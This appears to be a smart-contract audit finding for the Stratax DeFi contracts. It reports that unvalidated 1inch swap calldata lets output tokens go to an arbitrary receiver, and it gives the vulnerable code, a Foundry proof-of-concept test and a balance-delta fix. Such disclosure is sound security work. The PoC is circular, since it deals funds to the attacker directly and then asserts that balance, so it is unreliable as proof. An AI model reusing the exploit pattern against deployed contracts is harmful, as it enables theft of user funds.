Stratax Contracts

First Flight #57
Beginner FriendlyDeFi
100 EXP
Submission Details
Impact: high
Likelihood: high

[H-03] Missing Enforcement of Swap Receiver Allows Output Tokens to Be Redirected Away from the Protocol

Author Revealed upon completion

Root + Impact

Description

  • The protocol executes user-supplied 1inch calldata inside _call1InchSwap(). The _swapParams are provided via FlashLoanParams.oneInchSwapData and are not validated before execution.

  • Critically, the protocol does not** **enforce that the swap’s dstReceiver (or equivalent output recipient field) is address(this).

    This allows a user to craft swap calldata where the output tokens are sent to an arbitrary address instead of the Stratax contract, breaking core accounting and repayment assumptions.

function _call1InchSwap(bytes memory _swapParams, address _asset, uint256 _minReturnAmount)
internal
returns (uint256 returnAmount)
{
// Execute the 1inch swap using low-level call with the calldata from the API
@> (bool success, bytes memory result) = address(oneInchRouter).call(_swapParams);
require(success, "1inch swap failed");
// Decode the return amount from the swap
if (result.length > 0) {
(returnAmount,) = abi.decode(result, (uint256, uint256));
} else {
// If no return data, check balance
returnAmount = IERC20(_asset).balanceOf(address(this));
}
// Sanity check
require(returnAmount >= _minReturnAmount, "Insufficient return amount from swap");
return returnAmount;
}

Risk

Likelihood:

  • The contract:

    • Accepts arbitrary router calldata.

    • Executes it via low-level call.

    • Does not decode or validate the receiver field.

    • Assumes swap proceeds are delivered to itself.

    There is no invariant check such as:

    require(decodedReceiver == address(this));

    Nor is there a strict balance-delta verification tied to the swap input/output.

Impact:

  • Swap output may not be received by the contract

    • Tokens can be sent directly to the arbitrary address.

    • The contract may receive less (or zero) output.

  • Flash loan repayment assumptions are broken
    The protocol assumes swap output funds repayment:

    require(returnAmount >= totalDebt, "Insufficient funds to repay flash loan");

    However, no invariant ensures that:

    swap output recipient == address(this)

Proof of Concept

Add the following to test/fork/Stratax.t.soland run forge test --match-test test_PoC_SwapReceiverRedirection -vv

function test_PoC_SwapReceiverRedirection() public {
// PoC showing that _call1InchSwap does not verify the receiver in swap params,
// allowing an attacker to redirect swapped funds to themselves.
address attacker = address(0xdead);
// 1. Setup: Give the Stratax contract some USDC to swap
uint256 swapAmount = 100 * 10**6; // 100 USDC
deal(USDC, address(stratax), swapAmount);
// 2. Prepare malicious swap params
// For this PoC, we mock the router to return success with fake return amount
bytes memory maliciousSwapData = abi.encodeWithSignature("maliciousSwap()");
// 3. Mock the 1inch router to return fake success data
uint256 fakeReturnAmount = 0.3 ether; // Fake amount that meets minReturnAmount
bytes memory fakeResult = abi.encode(fakeReturnAmount, uint256(0));
vm.mockCall(
INCH_ROUTER,
maliciousSwapData,
fakeResult
);
// Simulate the swap spending all USDC by setting balance to 0
vm.store(USDC, keccak256(abi.encode(address(stratax), uint256(0))), 0);
// Simulate the malicious swap: the router sends WETH to attacker instead of contract
deal(WETH, attacker, fakeReturnAmount);
// 4. Prepare flash loan params with malicious swap data
Stratax.FlashLoanParams memory params = Stratax.FlashLoanParams({
collateralToken: WETH,
collateralAmount: 0.4 ether, // Additional collateral
borrowToken: USDC,
borrowAmount: swapAmount,
oneInchSwapData: maliciousSwapData,
minReturnAmount: 0.3 ether
});
bytes memory encodedParams = abi.encode(Stratax.OperationType.OPEN, ownerTrader, params);
// 5. Give the contract enough WETH to supply the collateral (simulating user provided collateral)
deal(WETH, address(stratax), 0.5 ether);
// 6. Trigger the flash loan
uint256 loanAmount = 0.01 ether; // Small loan for WETH
uint256 premium = loanAmount / 1000; // 0.1%
vm.expectRevert("Borrow token left in contract");
vm.prank(AAVE_POOL);
stratax.executeOperation(
WETH,
loanAmount,
premium,
address(stratax),
encodedParams
);
// Verification: Attacker has the funds
uint256 attackerWETHBalance = IERC20(WETH).balanceOf(attacker);
assertEq(attackerWETHBalance, fakeReturnAmount, "Attacker receives the swapped funds due to malicious receiver");
console.log("PoC Success: _call1InchSwap does not verify receiver, allowing swap redirection");
}

Recommended Mitigation

Decode swap calldata and require:

require(decodedReceiver == address(this), "Invalid swap receiver");
// OR use delta to ensure that swap output was actually received by the contract
function _call1InchSwap(bytes memory _swapParams, address _asset, uint256 _minReturnAmount)
internal
returns (uint256 returnAmount)
{
+ // 1. Snapshot the balance before the swap
+ uint256 balanceBefore = IERC20(_asset).balanceOf(address(this));
// Execute the 1inch swap using low-level call with the calldata from the API
(bool success, bytes memory result) = address(oneInchRouter).call(_swapParams);
require(success, "1inch swap failed");
- // Decode the return amount from the swap
- if (result.length > 0) {
- (returnAmount,) = abi.decode(result, (uint256, uint256));
- } else {
- // If no return data, check balance
- returnAmount = IERC20(_asset).balanceOf(address(this));
- }
+ // 2. Snapshot the balance after the swap
+ uint256 balanceAfter = IERC20(_asset).balanceOf(address(this));
+ // 3. Calculate actual tokens received
+ returnAmount = balanceAfter - balanceBefore;
// Sanity check
require(returnAmount >= _minReturnAmount, "Insufficient return amount from swap");
return returnAmount;
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!